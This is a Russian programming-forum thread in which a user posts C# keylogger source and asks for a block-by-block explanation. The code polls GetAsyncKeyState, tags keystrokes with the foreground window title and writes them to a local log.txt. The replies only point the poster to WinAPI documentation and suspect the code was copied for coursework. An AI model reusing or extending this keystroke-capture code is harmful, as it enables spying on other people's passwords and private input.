Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > IT форум > Помощь студентам
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 19.01.2017, 10:22   #1
Skofield
Новичок
Джуниор
 
Регистрация: 19.01.2017
Сообщений: 3
По умолчанию Помогите с кодом С#

Привет есть код на C# но я не понимаю что там написано, мне бы объяснить что к чему по отдельному блоку к примеру)) Буду блогадарен вам))
Код:
using System; 
using System.Collections.Generic; 
using System.ComponentModel; 
using System.Data; 
using System.Drawing; 
using System.Linq; 
using System.Text; 
using System.Threading.Tasks; 
using System.Windows.Forms; 
using System.IO; 
using System.Runtime.InteropServices; 
using System.Threading; 


namespace WindowsFormsApplication5 
{ 

public partial class Form1 : Form 
{ 
String u = ""; 
public Form1() 
{ 
InitializeComponent(); 
} 
[DllImport("user32.dll")] 
public static extern int GetAsyncKeyState(Int32 i); 
[DllImport("user32.dll")] 
static extern int GetForegroundWindow(); 
[DllImport("user32.dll")] 
static extern int GetWindowText(int hWnd, StringBuilder text, int count); 


private void Form1_Load(object sender, EventArgs e) 
{ 
} 

private void button1_Click(object sender, EventArgs e) 
{ 
timer1.Enabled = true; 
} 

private void timer1_Tick(object sender, EventArgs e) 
{ 
Class1 cl = new Class1(); 
const int nChars = 256; 
int handle = 0; 
StringBuilder Buff = new StringBuilder(nChars); 
String t=""; 
handle = GetForegroundWindow(); 

if (GetWindowText(handle, Buff, nChars) > 0) 
{ 
t=(Buff.ToString()); 
//IDWindowLabel.Text = handle.ToString(); 
} 
for (Int32 i = 0; i < 255; i++) 
{ 
int keyState = GetAsyncKeyState(i); 
if (keyState == 1 || keyState == -32767) 
{ 
if (t == u) 
{ 

textBox1.Text = textBox1.Text + cl.tx((((Keys)i).ToString())); 
} 
else 
{ 
textBox1.Text = textBox1.Text+"\n"+ "\n" + t+" : "+ cl.tx((((Keys)i).ToString())); 
u = t; 

} 
} 
} 
} 

private void button2_Click(object sender, EventArgs e) 
{ 
} 

private void timer2_Tick(object sender, EventArgs e) 
{ 

File.Delete(Application.StartupPath + @"\log.txt"); 
using (System.IO.StreamWriter file = new System.IO.StreamWriter(Application.StartupPath + @"\log.txt", true)) 
{ 
file.WriteLine(textBox1.Text); 
} 
} 
} 
}
Skofield вне форума Ответить с цитированием
Старый 19.01.2017, 12:12   #2
Skofield
Новичок
Джуниор
 
Регистрация: 19.01.2017
Сообщений: 3
По умолчанию

Не ужели не кто не может помочь?
Skofield вне форума Ответить с цитированием
Старый 19.01.2017, 12:39   #4
Alex11223
Старожил
 
Аватар для Alex11223
 
Регистрация: 12.01.2011
Сообщений: 19,500
По умолчанию

Цитата:
Сообщение от Skofield Посмотреть сообщение
Не ужели не кто не может помочь?
Неужели вы не можете задать более конкретные вопросы?
Ушел с форума, https://www.programmersforum.rocks, alex.pantec@gmail.com, https://github.com/AlexP11223
ЛС отключены Аларом.
Alex11223 вне форума Ответить с цитированием
Старый 19.01.2017, 12:45   #5
Skofield
Новичок
Джуниор
 
Регистрация: 19.01.2017
Сообщений: 3
По умолчанию

Цитата:
Сообщение от Alex11223 Посмотреть сообщение
Неужели вы не можете задать более конкретные вопросы?
Что делает вот этот код
Код:
public partial class Form1 : Form 
{ 
String u = ""; 
public Form1() 
{ 
InitializeComponent(); 
} 
[DllImport("user32.dll")] 
public static extern int GetAsyncKeyState(Int32 i); 
[DllImport("user32.dll")] 
static extern int GetForegroundWindow(); 
[DllImport("user32.dll")] 
static extern int GetWindowText(int hWnd, StringBuilder text, int count);
и вот этот

Цитата:
private void button1_Click(object sender, EventArgs e)
{
timer1.Enabled = true;
}
и вот этот

Цитата:
private void timer1_Tick(object sender, EventArgs e)
{
Class1 cl = new Class1();
const int nChars = 256;
int handle = 0;
StringBuilder Buff = new StringBuilder(nChars);
String t="";
handle = GetForegroundWindow();

if (GetWindowText(handle, Buff, nChars) > 0)
{
t=(Buff.ToString());
//IDWindowLabel.Text = handle.ToString();
}
for (Int32 i = 0; i < 255; i++)
{
int keyState = GetAsyncKeyState(i);
if (keyState == 1 || keyState == -32767)
{
if (t == u)
{

textBox1.Text = textBox1.Text + cl.tx((((Keys)i).ToString()));
}
else
{
textBox1.Text = textBox1.Text+"\n"+ "\n" + t+" : "+ cl.tx((((Keys)i).ToString()));
u = t;

}
}
}
}
и вот этот
Код:
private void button2_Click(object sender, EventArgs e) 
{ 
} 

private void timer2_Tick(object sender, EventArgs e) 
{ 

File.Delete(Application.StartupPath + @"\log.txt"); 
using (System.IO.StreamWriter file = new System.IO.StreamWriter(Application.StartupPath + @"\log.txt", true)) 
{ 
file.WriteLine(textBox1.Text);
Skofield вне форума Ответить с цитированием
Старый 19.01.2017, 12:57   #6
Alex11223
Старожил
 
Аватар для Alex11223
 
Регистрация: 12.01.2011
Сообщений: 19,500
По умолчанию

Не, это тот же самый вопрос
Если бы вместо пассивного ожидания ответа на форуме вы начали пытаться разобраться, читать документацию/MSDN/учебник C#, гуглить незнакомые вещи, то вопросы были бы более конкретные.

В первом куске импортируются какие-то WinApi функции (из системной user32.dll).
Читайте про WinApi и про Interop, DllImport и т.п. в .NET
Ушел с форума, https://www.programmersforum.rocks, alex.pantec@gmail.com, https://github.com/AlexP11223
ЛС отключены Аларом.
Alex11223 вне форума Ответить с цитированием
Старый 19.01.2017, 13:28   #7
p51x
Старожил
 
Регистрация: 15.02.2010
Сообщений: 15,707
По умолчанию

Цитата:
Если бы вместо пассивного ожидания ответа на форуме вы начали пытаться разобраться, читать документацию/MSDN/учебник C#, гуглить незнакомые вещи, то вопросы были бы более конкретные.
А оно ему надо? Код нашел в инете, на форуме распишут по строчке, он прочитаеть преподу... зачет.
p51x вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Помогите с кодом seric PHP 1 20.08.2016 16:42
Помогите с кодом dvpvitas Паскаль, Turbo Pascal, PascalABC.NET 5 16.06.2015 18:27
Помогите с кодом Кронос Общие вопросы Delphi 6 04.05.2008 21:13
Помогите с кодом prostoCHEL Общие вопросы Delphi 4 02.03.2008 21:56